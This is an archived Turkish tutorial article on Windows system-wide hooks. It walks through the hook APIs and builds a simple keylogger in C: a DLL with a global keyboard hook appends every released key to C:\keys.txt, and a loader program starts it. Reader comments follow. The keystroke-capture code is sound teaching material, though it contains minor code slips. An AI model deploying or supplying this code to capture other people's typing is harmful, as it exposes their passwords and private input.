Bu site emekli olmuştur. Arşiv amaçlı olarak BT AKADEMİ sponsorluğunda yayın hayatına devam etmektedir.




C#nedir?com
 
YAZAR HAKKINDA
Oğuz Yağmur
Oğuz Yağmur
http://www.oguzyagmur.com
İletişme geçmek için tıklayın.
26 Makalesi yayınlanmakta.
Yazar hakkında detaylı bilgi için tıklayın.
Yayınlanan diğer makaleleri için tıklayın.
İlgili etiketler: degerini dosyasinin fonksiyon fonksiyonu fonksiyonun fonksiyonunu handle ilgili islemi islemini kullanarak mesajlarini parametresi proses sistem C / Sys Prog. Oğuz Yağmur
 
YAZI HAKKINDA
Türü : Makale
Serbest Köşede C#nedir?com üyelerinin hazırladıkları yazılar yayınlanır. Bu yazılar editör incelemesine girmeden yayınlanır.
Seviyesi : İleri
Kategori : C / Sys Prog.
Yayınlanma Tarihi : 22.1.2007
Okunma Sayısı : 41529
Yorum Sayısı : 6     yorum yaz
Site İçi AramaSİTE İÇİ ARAMA
Üye Girişini AçÜye GİRİŞİ
Üye girişi için tıklayın.
Kullanıcı Adı
Şifre
 
Beni her zaman hatırla
Bir hafta boyunca kullanıcı bilgilerinizi kullanıcı çıkışı yapana kadar hatırlar. (Paylaşılan bilgisayarlarda önerilmez.)
 
Şifremi / Kullanıcı Adımı unuttum.
 
.net TV RSS Serbest KÖŞE (?)
Serbest Köşede C#nedir?com üyelerinin hazırladıkları yazılar yayınlanır. Bu yazılar editör incelemesine girmeden yayınlanır.
emre TAŞ
Silindi
emre TAŞ
yazının devamı >
emre TAŞ
silindi
emre TAŞ
yazının devamı >
emre TAŞ
silindi
emre TAŞ
yazının devamı >
emre TAŞ
silindi
emre TAŞ
yazının devamı >
emre TAŞ
silindi
emre TAŞ
yazının devamı >
Makale Gönder Bende Yazmak İstiyorum
.net TV RSSBlogroll
Turhal Temizer
Conda install environment.yml Package 21.11.2024
Turhal Temizer
Mac OS/X Removing CUDA 21.11.2024
Burak Selim Şenyurt
Rust ile ECS Yaklaşımını Anlamak 21.11.2024
Burak Selim Şenyurt
Birlikte Rust Öğrenelim Serisi 21.11.2024
  Diğer Herşey
Sponsorlar
BT Akademi
Medya Portakal
Video Hosting Sponsoru
Csharpnedir.com bir Ineta üyesidir
Uzman Abi
Her Yönüyle C# - Sefer Algan
Windows İşletim Sisteminde "Hook" İşlemi
 
Kapat
Sayfayı Yazdır Sık Kullanılanlara Ekle Arkadaşıma Gönder MySpace Del.Ico.Us Digg Facebook Google Mixx Reddit StumbleUpon
Bu yazımızda windows sistemlerinde (bundan sonra Win32 olarak adlandıracağız) sistem düzeyinde (system-wide) hook işlemlerini incleyip, klavyeyi hook ederek basit bir keylogger programı yazacağız. İlk olarak Win32 de hook işlemlerine giriş yapalım.


Hook Nedir ?

Birçoğumuz düşünmüşüzdür; bir program açılıp kapatıldığında, fareyi ekranda sürüklediğimizde ya da klavyede bir tuşa bastığımızda acaba windowsun sistem seviyesinde neler olup bitiyor. Bu işlemlerden Windows API lerini kullanıp mesajları hook ederek az çok haberimiz olabilir. İşte biz de SetWindowsHookEx, UnhookWindowsHookEx ve CallNextHookEx Win32 API fonksiyonlarını kullanarak hook işlemlerini gerçekleştireceğiz. Hook işlemleri Win32 de mesajların ele geçirilmesidir (Bir nevi mesaj casusluğu da diyebiliriz). Yani hook işlemleri bizim windows mesajlarını sistemden önce ele geçirip üzerinde işlemler yapmamıza olanak sağlar.Proses düzeyinde ve sistem düzeyinde olmak üzere iki türlü hook işlemi vardır. Proses taraflı hook işleminde, pencereye gelen mesajlar yakalanır ve işlenir (message hooking). Bu yazımızda sistem taraflı hook işlemi üzerinde duracağız.

Sistem Düzeyinde Hook İşlemi

Öncelikle şunu belirtmeliyim ki sistem düzeyinde hook işlemleri performansı düşürecektir. Ama bazı uygulamalar vardır ki tek çözüm hook yöntemidir. Win32 de prosesler birbirinden tamamen ayrılmıştır. Yani bir proses başka bir prosesin pencre fonksiyonunu ele geçirip mesajları yakalayarak işlem yapması mümkün değildir. Örneğin;

{
    hButton = CreateWindow(“button”, ...);
    OldFnc = (WNDPROC) GetWindowLong(hButton, ...);
    SetWindowLong(...., (LPARAM)MyFunc);
}



Burada eğer hButton başka bir prosese ait olsaydı büyük bir probleme yol açardı. Peki biz başka bir prosesdeki mesajları nasıl yakalayabiliriz. Tabiki hook yöntemi ile. Bir çok sistem düzeyinde hook türü vardır. Kısaca inceleyelim:

WH_CALLWNDPROC : Sendmessage fonksiyonu çağrıldığı zaman bu hook türü gerçekleşir. Bu mesaj üzerinde değişiklik yapamayız.
WH_GETMESSAGE : GetMessage ve PeekMessage fonksiyonları çağrıldığı zaman bu hook türü gerçekleşir.SendMessage ile gönderilen mesajlar yakalanamaz.
WH_KEYBOARD : GetMessage ve PeekMessage fonksiyonlarından WM_CHAR veya WM_KEYDOWN, WM_SYSKEYUP, WM_SYSKEYDOWN messajları döndüğü zaman bu hook türü gerçekleşir.
WH_MOUSE : GetMessage ve PeekMessage fonksiyonları ile mouse ile ilgili bir mesaj alındığında bu hook türü gerçekleşir.
WH_MSGFILTER : Dialog Box, Message Box, ScroolBar yada menulerden bir mesaj alındığı zaman bu hook türü gerçekleşir.
WH_SYSMSGFILTER : Sadece sistem düzeyinde hook için kullanılabilir. WH_MSGFILTER ile aynı özelliklere sahiptir.

Bunlara ek olarak WH_MOUSE_LL ve WH_KEYBOARD_LL hook türleri vardır. Fakat bunlar sadece Windows NT sistemelerine özeldir. Win9x ler için kullanılamaz.

Hook işlemi için öncelikle hook fonksiyonunu içeren bir DLL hazırlanmalıdır. Nedeni ise daha önce de bahsettiğimiz gibi bir proses başka bir prosesin alanına erişemeyeceğinden bizim hazırladığımız hook fonksiyonu başka proses tarafından çağrılamayacaktır. Ama hazırlamış olduğumuz DLL belleğe yüklendiğinde başka bir proses bizim hook fonksiyonumuzu çağırmak istediğinde DLL dosyamızın bir kopyası oluşturulacak ve bu DLL içinden ilgili hook fonksiyonumuz çağrılacaktır. Buradaki en önemli sorun şudur. Madem her proses için DLL bellekte farklı adreslere yüklenebiliyorsa bizim hook fonksiyonun adresi nasıl tespit edilip fonksiyon çağrılacak? Bunu SetWindowsHookEx fonksiyonuna DLL in hInstance değeri ve hook fonksiyonumuzun adresi parametre geçirilirek bu problem halledilir. Şimdi hook işlemi için gerekli fonksiyonları incelemeye başlayalım.

HHOOK SetWindowsHookEx(
    int idHook,
    HOOKPROC lpfn,
    HINSTANCE hMod,
    DWORD dwThreadId
);



Bu fonksiyonu kullanarak hook işlemini başlatırız. Fonksiyonun ilk parametresi hangi mesajı ele geçireceğimizi belirtmek için kullanırız. Mesela klavye mesajlarını yakalamak için WH_KEYBOARD, mouse mesajlarını yakalamak için WH_MOUSE değerini kullanmalıyız. İkinci parametres ise eğer mesaj ele geçirilirse hangi fonksiyonun çağrılacağını belirtir. Bu fonksiyonun prototipi aşağıdaki gibi olmalıdır.

LRESULT CALLBACK HookFunc(
    int nCode,
    WPARAM wParam,
    LPARAM lParam
);



Bu fonksiyon herhangi bir mesaj yakalandığında parametreleri sistem tarafından doldurularak çağrılır. Fonksiyonun ilk parametresi yakalanan mesaj ile ilgili bilgi verir. İkinci ve üçüncü parametreler ise mesaj ile ilgili ayrıntılı bilgiler verir. Genellikle yapı şeklindedirler. Fonksiyonun üçüncü parametresi ise bu fonksiyon hangi modül tarafından çağrıldı ise o modülün başlangıç adresini yani handle değerini belirtir. Son parametre ise hangi pencerenin mesajını ele geçirmek istiyor isek o pencerenin bulunduğu threadin ID değeridir. Eğer sistem düzeyinde hook işlemi yapacaksak bu değer 0 olarak girilerek bütün pencerelerin mesajlarını yakalamak istediğimizi belirtiriz.

LRESULT CallNextHookEx(
    HHOOK hhk,
    int nCode,
    WPARAM wParam,
    LPARAM lParam
);



Bu fonksiyonu kullanarak eğer başka bir hook işlemi varsa onun çağrılması için kullanırız. Fonksiyonun ilk parametresi SetWindowsHookEx fonksiyonunun geri dönüş değerinden elde edilen handle değeridir. Diğer parametreler ise hook fonksiyonun parametreleridir(HookFunc(….)).

BOOL UnhookWindowsHookEx(
    HHOOK hhk
);



Bu fonskiyonu kullanarak hook işlemini sonlandırabiliriz. Fonksiyonun parametresi SetWindowsHookEx fonksiyonunun geri dönüş değerinden elde edilen handle değeridir.

Şimdi sistem düzeyinde hook işlemi için gerekli adımları belirleylim ve küçük bir uygulama olarak klavye mesajlarını yakalayarak bir keylogger programı yazalım.
1- İlk once hook işlemi için bir DLL hazırlamamız gerekli. Kullanacağımız hook fonksiyonu bu DLL içinde yazacağız. Paylaşacağımız global değişkenleri belirleyelim.
2- Bir *.exe hazırlayarak DLL i belleğe yükleyip hook fonksiyonumuzu çağıralım.

DLL Dosyasının Hazırlanması

Daha önce de belirttiğimiz gibi hook fonksiyonumuz başka bir fonksiyon tarafından çağırmak istediğinde DLL dosyasını belleğe yükler ve fonksiyonu çağırdıktan sonra DLL dosyasını geri boşaltır. Biz de diğer proseslerin DLL dosyasını kullanabilemesi için shared (paylaşılmış) bir alan oluşturmamız gerekli. Bu alanda HHOOK türünden global bir handle alanı diğer proseslerin erişmesi için paylaşıma açacağız. Bu bölümü oluşturabilememiz için #paragma komutunu kullanabiliriz. Bu komut ile shared bir bölüm şu şekilde yaratılabilir.

#pragma data_seg("hookdata")
HHOOK oldkeyhook = 0;
#pragma data_seg()



data_seg() ilk değer verilmiş alanlar için kullanıldığından bu alandaki paylaşıma açılmış global değişkenimize ilk değer vermeliyiz. Bu bölüm normalde “copy on write” özelliğine sahiptir. Yani bir proses bu alandaki değikenin değerini değiştirdiğinde bu alanın hemen ilgili proses için bir kopyası çıkarılır. Bu neden dolayı bu alanı sharable yapmalıyız. Bunu #pragma comment komutu ile aşağıdaki gibi yapabiliriz.

#pragma comment(linker, "/SECTION:hookdata,RWS")

RWS ile linkera bu bölümü yazılabilir, okunabilir ve paylaşılabilir yapmasını söylüyoruz.

DLL dosyasının handle değerini (adresini) tutacak HINSTANCE türünden bir global değişken tanımlamalıyız. Nedeni ise SetWindowsHookEx ve UnhookWindowHookEx fonksiyonlarının bu değere ihtiyacı olacak.

HINSTANCE hInst = NULL;
hInst değişkenine DLL dosyasının handle değerini DllMain içinde aşağıdaki şekilde verebiliriz.

BOOL APIENTRY DllMain(HINSTANCE hInstance,DWORD ul_reason_for_call,LPVOID lpReserved)
{
    switch(ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            hInst = hInstance;
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
           break;
     }
     return TRUE;
}



Şimdi sıra hook fonksiyonunu yazmaya geldi. Bu fonksiyon dışardan çağrılacağı için fonksiyonumuzu DLL dosyasının export tablosuna yazmamız gerekli.Bunun için de fonksiyonlarımızı __declspec(dllexport) biçiminde tanımlamalıyız.

#define DllExport __declspec (dllexport)
DllExport LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
DllExport void InstallHook(int nCode);
DllExport void EndHook();

Öncelikle hook işleminin başlaması için SetWindowsHookEx fonksiyonunu kullanmalıyız. Bunun için hook işlemini başlatacak ve sonlandıracak foksiyonlar yazmalıyız.

void InstallHook(int nCode)
{
    oldkeyhook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInst, 0);
}



Bu fonksiyon ile hook işlemi başlatılıyor. WK_KEYBOARD ile klavyenin hook edileceğini, hook fonksiyonu olarak KeyboardProc fonksiyonu kullanılacağını, hInst ile bu modülü, 0 değeri ile de sistem düzeyinde hook işlemi yaptığımızı belirliyoruz.

Hook işlemini sona erdirmek için ise aşağıdaki fonksiyonu yazıyoruz.

void EndHook(void)
{
    UnhookWindowsHookEx(oldkeyhook);
}



Şimdi hook fonksiyonumuzu yazalım. Amacımız yakaladığımız tuşları C dizini altında keys.txt dosyasına yazdırmak.

DllExport LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wp, LPARAM lp)
{
    FILE *fp;
    if (nCode > = 0)
    {
        if ((lp & 0x80000000) == 0x80000000)
        {
            fp = fopen("C:\\keys.txt","a+");
            char lpszName[0x100] = {0};
            GetKeyNameText(lp,lpszName,0xFF);
            fwrite(lpszName,strlen(lpszName),1, fp);
            fclose(fp);
        }
     }
     return CallNextHookEx(oldkeyhook,nCode,wp,lp);
}



nCode geçerli bir hook işleminin olduğunuz belirtir. Eğer nCode 0 dan küçükse CallNextHookEx fonksiyonu çağrılarak işlemi sonladırabiliriz. lp bize basılan tuşun scan kodunu, wp ise virtual-key kodunu verir. Biz sadece keyup mesajını yakalamak istediğimizden ((lp & 0x80000000) == 0x80000000) işlemini yaptık. GetKeyNameText APIsini kullanarak basılan tuşun ismini verir. Son adımda ise dosyaya tuş ismini yazıp dosyamızı kapatıyoruz. Evet hepsi bu kadar! DLL dosyamızı hazırlamış olduk. Şimdi bu dosyamızı kullanacak bir .exe hazırlayalım.Bu .exe ile DLL dosyamızı belleğe yükleyecek ve InstallHook(…) fonksiyonunu çağırarak hook işlemini başlatacağız.

Hook İşlemi için DLL Dosyasının Kullanımı

DLL dosyasını çalışma zamanında belleğe yüklemek için LoadLibrary API fonksiyonunu kullanabiliriz. Yüklediğimiz DLL den herhangi bir fonksiyonu çağırmak için de GetProcAddress API fonksiyonunu kullanırız. Yüklenen DLL dosyasının handle değerini tutmak için HMODULE türündenbir değişkene ihtiyacımız olacak.

HMODULE hInstDll;

Fonksiyonların prototipleri şöyledir :

HMODULE LoadLibrary(
    LPCTSTR lpFileName
);



Fonksiyonun parametresi yüklemek istediğimiz DLL dosyasının adıdır.Örneğin bizim hazırlamış olduğumuz DLL dosyasının ismini “kbHook.dll” olduğunu düşünürsek bu fonksiyonu şöyle kullanabiliriz;

hInstDll = LoadLibrary(“kbHook.dll”);

FARPROC GetProcAddress(
    HMODULE hModule,
    LPCSTR lpProcName
);



Fonksiyonun ilk parametresi yüklenen DLL in handle değeri, ikinci parametresi ise çağırmak istediğimiz fonksiyonun adıdır.

Şimdi DLL dosyasındaki InstallHook ve EndHook fonksiyonlarını çağırmak için fonksiyon göstercileri tanımlayalım.

void (*pInstallHook)(int);
void (*pUninstallHook)(void);



DLL dosyasındaki fonksiyonları ise şöyle çağırabiliriz.

pInstallHook = (void (*)(int))GetProcAddress(hInsDll, "InstallHook");
pInstallHook(TRUE);

pUninstallHook = (void(*)(void))GetProcAddress(hInsDll,"EndHook");
pUninstallHook();



Bu yazımızda Win32 de hook işlemini, farklı proseslerin mesajlarının nasıl yakalanacığını,hook işlemi için DLL yazımını ve bu DLL in nasıl kullanılacağını inceledik. Sizler de hook mekanizmasını kullanarak değişik uygulamalar geliştirebilirsiniz.Örneğin her pencerenin sistem menüsüne yeni bir menü ekleyerek isminizi yazdırabilirsiniz.

Yukarda anlatılan uygulamanın kaynak kodlarını ve çalıştırılabilir dosyasını buraya tıklayarak indirebilirsiniz.

Makale:
Windows İşletim Sisteminde "Hook" İşlemi C ve Sistem Programlama Oğuz Yağmur
  • Yazılan Yorumlar
  • Yorum Yaz
TEM
9
2012
Arkadaşlar yukarıdaki kodu C derleyicisi ile derlerseniz çalışır ama c++ ile derleyecekseniz kodda minik bir değişiklik yapmalısınız: #define DllExport __declspec (dllexport) yerine #define DllExport extern "C" __declspec (dllexport) yazmalısınız. Böylece program istediğiniz gibi çalışır.
NİS
21
2012
kaynak kod: http://www.csharpnedir.com/sourcecodes/?page=2&ord=new&cat=
NİS
21
2012
kaynak kodu: Win32 Sistemlerinde Hook İşlemi
MAY
25
2011
Bilgilendirmeniz için çok teşekkürler ellerinize sağlık yalnız sanırım dll kodlarında bir hata var(ya da ben mingw kullandığım için olabilir.) Birde GetProcAddres fonksiyonunu şu şekilde kullandığımda hatadan kurtulabildim: [code]HMODULE hInstDll=LoadLibrary("C:\\WindowsHook.dll"); GetProcAddress(GetModuleHandle(TEXT("C:\\WindowsHook.dll")),"GetNativeSystemInfo"); [/code] Ancak dll dosyasının geçerli bir Windows bellek görüntüsü olmadığını windows hata raporu olarak verdi.
KAS
19
2010
kaynak kodlarına ulaşılmıyor. yeni bir bağlantı verirseniz sevinirim
KAS
3
2010
Kaynak kodllarının dosyasını indirmeden sanırım hata var..
Sayfalar : 1 
Yorum yazabilmek için üye girişi yapmalısınız. Üye girişi için tıklayın.
Üye değilseniz Üyel Ol linkine tıklayarak üyeliğinizi hemen başlatabilirisniz.
 
  • Bu Konuda Son 10
  • Eklenen Son 10
  • Bu Konuda Geçmiş 10
Bu Konuda Yazılmış Yazılmış 10 Makale Yükleniyor
Son Eklenen 10 Makale Yükleniyor
Bu Konuda Yazılmış Geçmiş Makaleler Yükleniyor